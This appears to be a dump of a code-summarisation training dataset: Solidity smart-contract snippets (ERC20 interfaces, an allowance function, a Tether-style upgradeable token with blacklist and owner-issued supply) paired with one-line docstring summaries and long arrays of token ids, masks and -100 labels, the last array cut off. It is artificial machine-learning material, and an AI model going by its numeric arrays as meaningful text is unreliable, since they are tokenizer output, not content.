* desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @dev Reverts if `spender` is the zero address.
* @dev Emits the {IERC20-Approval} event.
* @param spender The account being granted the allowance by the message caller.
* @param value The allowance amount to grant.
* @return True if the approval succeeds, false otherwise.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* Returns the amount which `spender` is allowed to spend on behalf of `owner`.
* @param owner The account that has granted an allowance to `spender`.
* @param spender The account that was granted an allowance by `owner`.
* @return The amount which `spender` is allowed to spend on behalf of `owner`.
*/
function allowance(address owner, address spender) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @title ERC20 Token Standard, optional extension: Detailed
* See https://eips.ethereum.org/EIPS/eip-20
* Note: the ERC-165 identifier for this interface is 0xa219a025.
*/
interface IERC20Detailed {
/**
* Returns the name of the token. E.g. "My Token".
* @return The name of the token.
*/
function name() external view returns (string memory);
/**
* Returns the symbol of the token. E.g. "HIX".
* @return The symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* Returns the number of decimals used to display the balances.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it does not impact the arithmetic of the contract.
* @return The number of decimals used to display the balances.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @title ERC20 Token Standard, optional extension: Allowance
* See https://eips.ethereum.org/EIPS/eip-20
* Note: the ERC-165 identifier for this interface is 0xd5b86388.
*/
interface IERC20Allowance {
/**
* Increases the allowance granted by the sender to `spender` by `value`.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* @dev Reverts if `spender` is the zero address.
* @dev Reverts if `spender`'s allowance overflows.
* @dev Emits an {IERC20-Approval} event with an updated allowance for `spender`.
* @param spender The account whose allowance is being increased by the message caller.
* @param value The allowance amount increase.
* @return True if the allowance increase succeeds, false otherwise.
*/
function increaseAllowance(address spender, uint256 value) external returns (bool);
/**
* Decreases the allowance granted by the sender to `spender` by `value`.
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
* @dev Reverts if `spender` is the zero address.
* @dev Reverts if `spender` has an allowance with the message caller for less than `value`.
* @dev Emits an {IERC20-Approval} event with an updated allowance for `spender`.
* @param spender The account whose allowance is being decreased by the message caller.
* @param value The allowance amount decrease.
* @return True if the allowance decrease succeeds, false otherwise.
*/
function decreaseAllowance(address spender, uint256 value) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @title ERC20 Token Standard, optional extension: Safe Transfers
* Note: the ERC-165 identifier for this interface is 0x53f41a97.
*/
interface IERC20SafeTransfers {
/**
* Transfers tokens from the caller to `to`. If this address is a contract, then calls `onERC20Received(address,address,uint256,bytes)` on it.
* @dev Reverts if `to` is the zero address.
* @dev Reverts if `value` is greater than the sender's balance.
* @dev Reverts if `to` is a contract which does not implement `onERC20Received(address,address,uint256,bytes)`.
* @dev Reverts if `to` is a contract and the call to `onERC20Received(address,address,uint256,bytes)` returns a wrong value.
* @dev Emits an {IERC20-Transfer} event.
* @param to The address for the tokens to be transferred to.
* @param amount The amount of tokens to be transferred.
* @param data Optional additional data with no specified format, to be passed to the receiver contract.
* @return true.
*/
function safeTransfer(
address to,
uint256 amount,
bytes calldata data
) external returns (bool);
/**
* Transfers tokens from `from` to another address, using the allowance mechanism.
* If this address is a contract, then calls `onERC20Received(address,address,uint256,bytes)` on it.
* @dev Reverts if `to` is the zero address.
* @dev Reverts if `value` is greater than `from`'s balance.
* @dev Reverts if the sender does not have at least `value` allowance by `from`.
* @dev Reverts if `to` is a contract which does not implement `onERC20Received(address,address,uint256,bytes)`.
* @dev Reverts if `to` is a contract and the call to `onERC20Received(address,address,uint256,bytes)` returns a wrong value.
* @dev Emits an {IERC20-Transfer} event.
* @param from The address which owns the tokens to be transferred.
* @param to The address for the tokens to be transferred to.
* @param amount The amount of tokens to be transferred.
* @param data Optional additional data with no specified format, to be passed to the receiver contract.
* @return true.
*/
function safeTransferFrom(
address from,
address to,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @title ERC20 Token Standard, optional extension: Multi Transfers
* Note: the ERC-165 identifier for this interface is 0xd5b86388.
*/
interface IERC20BatchTransfers {
/**
* Moves multiple `amounts` tokens from the caller's account to each of `recipients`.
* @dev Reverts if `recipients` and `amounts` have different lengths.
* @dev Reverts if one of `recipients` is the zero address.
* @dev Reverts if the caller has an insufficient balance.
* @dev Emits an {IERC20-Transfer} event for each individual transfer.
* @param recipients the list of recipients to transfer the tokens to.
* @param amounts the amounts of tokens to transfer to each of `recipients`.
* @return a boolean value indicating whether the operation succeeded.
*/
function batchTransfer(address[] calldata recipients, uint256[] calldata amounts) external returns (bool);
/**
* Moves multiple `amounts` tokens from an account to each of `recipients`, using the approval mechanism.
* @dev Reverts if `recipients` and `amounts` have different lengths.
* @dev Reverts if one of `recipients` is the zero address.
* @dev Reverts if `from` has an insufficient balance.
* @dev Reverts if the sender does not have at least the sum of all `amounts` as allowance by `from`.
* @dev Emits an {IERC20-Transfer} event for each individual transfer.
* @dev Emits an {IERC20-Approval} event.
* @param from The address which owns the tokens to be transferred.
* @param recipients the list of recipients to transfer the tokens to.
* @param amounts the amounts of tokens to transfer to each of `recipients`.
* @return a boolean value indicating whether the operation succeeded.
*/
function batchTransferFrom(
address from,
address[] calldata recipients,
uint256[] calldata amounts
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @title ERC20 Token Standard, ERC1046 optional extension: Metadata
* See https://eips.ethereum.org/EIPS/eip-1046
* Note: the ERC-165 identifier for this interface is 0x3c130d90.
*/
interface IERC20Metadata {
/**
* Returns a distinct Uniform Resource Identifier (URI) for the token metadata.
* @return a distinct Uniform Resource Identifier (URI) for the token metadata.
*/
function tokenURI() external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @title ERC20 Token Standard, ERC2612 optional extension: permit – 712-signed approvals
* @dev Interface for allowing ERC20 approvals to be made via ECDSA `secp256k1` signatures.
* See https://eips.ethereum.org/EIPS/eip-2612
* Note: the ERC-165 identifier for this interface is 0x9d8ff7da.
*/
interface IERC20Permit {
/**
* Sets `value` as the allowance of `spender` over the tokens of `owner`, given `owner` account's signed permit.
* @dev WARNING: The standard ERC-20 race condition for approvals applies to `permit()` as well: https://swcregistry.io/docs/SWC-114
* @dev Reverts if `owner` is the zero address.
* @dev Reverts if the current blocktime is > `deadline`.
* @dev Reverts if `r`, `s`, and `v` is not a valid `secp256k1` signature from `owner`.
* @dev Emits an {IERC20-Approval} event.
* @param owner The token owner granting the allowance to `spender`.
* @param spender The token spender being granted the allowance by `owner`.
* @param value The token amount of the allowance.
* @param deadline The deadline from which the permit signature is no longer valid.
* @param v Permit signature v parameter
* @param r Permit signature r parameter.
* @param s Permis signature s parameter.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* Returns the current permit nonce of `owner`.
* @param owner the address to check the nonce of.
* @return the current permit nonce of `owner`.
*/
function nonces(address owner) external view returns (uint256);
/**
* Returns the EIP-712 encoded hash struct of the domain-specific information for permits.
*
* @dev A common ERC-20 permit implementation choice for the `DOMAIN_SEPARATOR` is:
*
* keccak256(
* abi.encode(
* keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
* keccak256(bytes(name)),
* keccak256(bytes(version)),
* chainId,
* address(this)))
*
* where
* - `name` (string) is the ERC-20 token name.
* - `version` (string) refers to the ERC-20 token contract version.
* - `chainId` (uint256) is the chain ID to which the ERC-20 token contract is deployed to.
* - `verifyingContract` (address) is the ERC-20 token contract address.
*
* @return the EIP-712 encoded hash struct of the domain-specific information for permits.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6 <0.8.0;
/**
* @title ERC20 Token Standard, Receiver
* See https://eips.ethereum.org/EIPS/eip-20
* Note: the ERC-165 identifier for this interface is 0x4fc35859.
*/
interface IERC20Receiver {
/**
* Handles the receipt of ERC20 tokens.
* @param sender The initiator of the transfer.
* @param from The address which transferred the tokens.
* @param value The amount of tokens transferred.
* @param data Optional additional data with no specified format.
* @return bytes4 `bytes4(keccak256("onERC20Received(address,address,uint256,bytes)"))`
*/
function onERC20Received(
address sender,
address from,
uint256 value,
bytes calldata data
) external returns (bytes4);
}
|
@dev See {IERC20Allowance-increaseAllowance}.
|
function increaseAllowance(address spender, uint256 addedValue) external virtual override returns (bool) {
require(spender != address(0), "ERC20: zero address spender");
address owner = _msgSender();
uint256 allowance_ = _allowances[owner][spender];
if (addedValue != 0) {
uint256 newAllowance = allowance_ + addedValue;
require(newAllowance > allowance_, "ERC20: allowance overflow");
_allowances[owner][spender] = newAllowance;
allowance_ = newAllowance;
}
emit Approval(owner, spender, allowance_);
return true;
}
| 375,167 |
[
1,
9704,
288,
45,
654,
39,
3462,
7009,
1359,
17,
267,
11908,
7009,
1359,
5496,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
10929,
7009,
1359,
12,
2867,
17571,
264,
16,
2254,
5034,
3096,
620,
13,
3903,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
87,
1302,
264,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
3634,
1758,
17571,
264,
8863,
203,
3639,
1758,
3410,
273,
389,
3576,
12021,
5621,
203,
3639,
2254,
5034,
1699,
1359,
67,
273,
389,
5965,
6872,
63,
8443,
6362,
87,
1302,
264,
15533,
203,
3639,
309,
261,
9665,
620,
480,
374,
13,
288,
203,
5411,
2254,
5034,
394,
7009,
1359,
273,
1699,
1359,
67,
397,
3096,
620,
31,
203,
5411,
2583,
12,
2704,
7009,
1359,
405,
1699,
1359,
67,
16,
315,
654,
39,
3462,
30,
1699,
1359,
9391,
8863,
203,
5411,
389,
5965,
6872,
63,
8443,
6362,
87,
1302,
264,
65,
273,
394,
7009,
1359,
31,
203,
5411,
1699,
1359,
67,
273,
394,
7009,
1359,
31,
203,
3639,
289,
203,
3639,
3626,
1716,
685,
1125,
12,
8443,
16,
17571,
264,
16,
1699,
1359,
67,
1769,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x337B345A167b3C52d8935495228A74D413ED6C1A/sources/project_/contracts/laCollection-Anna-Ridler-Static-reversible.sol
|
Should be triggered once a year by Anna This forces the refilling of mutation bank
|
function freeze() public onlyOwner {
fillMutationBank();
}
| 857,218 |
[
1,
14309,
506,
10861,
3647,
279,
3286,
635,
1922,
6582,
1220,
26376,
326,
1278,
5789,
434,
11934,
11218,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
16684,
1435,
1071,
1338,
5541,
288,
203,
3639,
3636,
20028,
16040,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.26;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal constant returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function _implementation() internal constant returns(address);
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
function _delegate(address implementation) internal {
/*solium-disable-next-line security/no-inline-assembly*/
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function() external payable {
_fallback();
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded
*/
contract UpgradeabilityProxy is Proxy {
// Version name of the current implementation
string internal __version;
// Address of the current implementation
address internal __implementation;
/**
* @dev This event will be emitted every time the implementation gets upgraded
* @param _newVersion representing the version name of the upgraded implementation
* @param _newImplementation representing the address of the upgraded implementation
*/
event Upgraded(string _newVersion, address indexed _newImplementation);
/**
* @dev Upgrades the implementation address
* @param _newVersion representing the version name of the new implementation to be set
* @param _newImplementation representing the address of the new implementation to be set
*/
function _upgradeTo(string memory _newVersion, address _newImplementation) internal {
require(
__implementation != _newImplementation && _newImplementation != address(0),
"Old address is not allowed and implementation address should not be 0x"
);
require(Address.isContract(_newImplementation), "Cannot set a proxy implementation to a non-contract address");
require(bytes(_newVersion).length > 0, "Version should not be empty string");
require(keccak256(abi.encodePacked(__version)) != keccak256(abi.encodePacked(_newVersion)), "New version equals to current");
__version = _newVersion;
__implementation = _newImplementation;
emit Upgraded(_newVersion, _newImplementation);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "Address should not be 0x");
newOwner = _newOwner;
}
function approveOwnership() public{
require(newOwner == msg.sender);
owner = newOwner;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
uint _allowance = allowed[_from][msg.sender];
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract TetherToken is Pausable, StandardToken, BlackList, UpgradeabilityProxy{
string public name;
string public symbol;
uint public decimals;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
constructor(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
function _implementation() internal constant returns(address){
return __implementation;
}
modifier isDeprecated() {
if (deprecated) {
_fallback();
} else {
_;
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused isDeprecated {
require(!isBlackListed[msg.sender]);
return super.transfer(_to, _value);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused isDeprecated{
require(!isBlackListed[_from]);
return super.transferFrom(_from, _to, _value);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint){
return super.balanceOf(who);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) isDeprecated{
return super.approve(_spender, _value);
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining){
return super.allowance(_owner, _spender);
}
function upgradeTo(string memory _newVersion, address _newImplementation) public onlyOwner{
_upgradeTo(_newVersion, _newImplementation);
deprecated = true;
emit Deprecate(_newImplementation);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
return _totalSupply;
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
emit Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
emit Redeem(amount);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
}
contract ZeroOne is TetherToken{
constructor(uint _initialSupply, string _name, string _symbol, uint _decimals) TetherToken(_initialSupply, _name, _symbol, _decimals) public {
}
}
|
Forward ERC20 methods to upgraded contract if this one is deprecated
|
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) isDeprecated{
return super.approve(_spender, _value);
}
| 6,773,655 |
[
1,
8514,
4232,
39,
3462,
2590,
358,
31049,
6835,
309,
333,
1245,
353,
6849,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
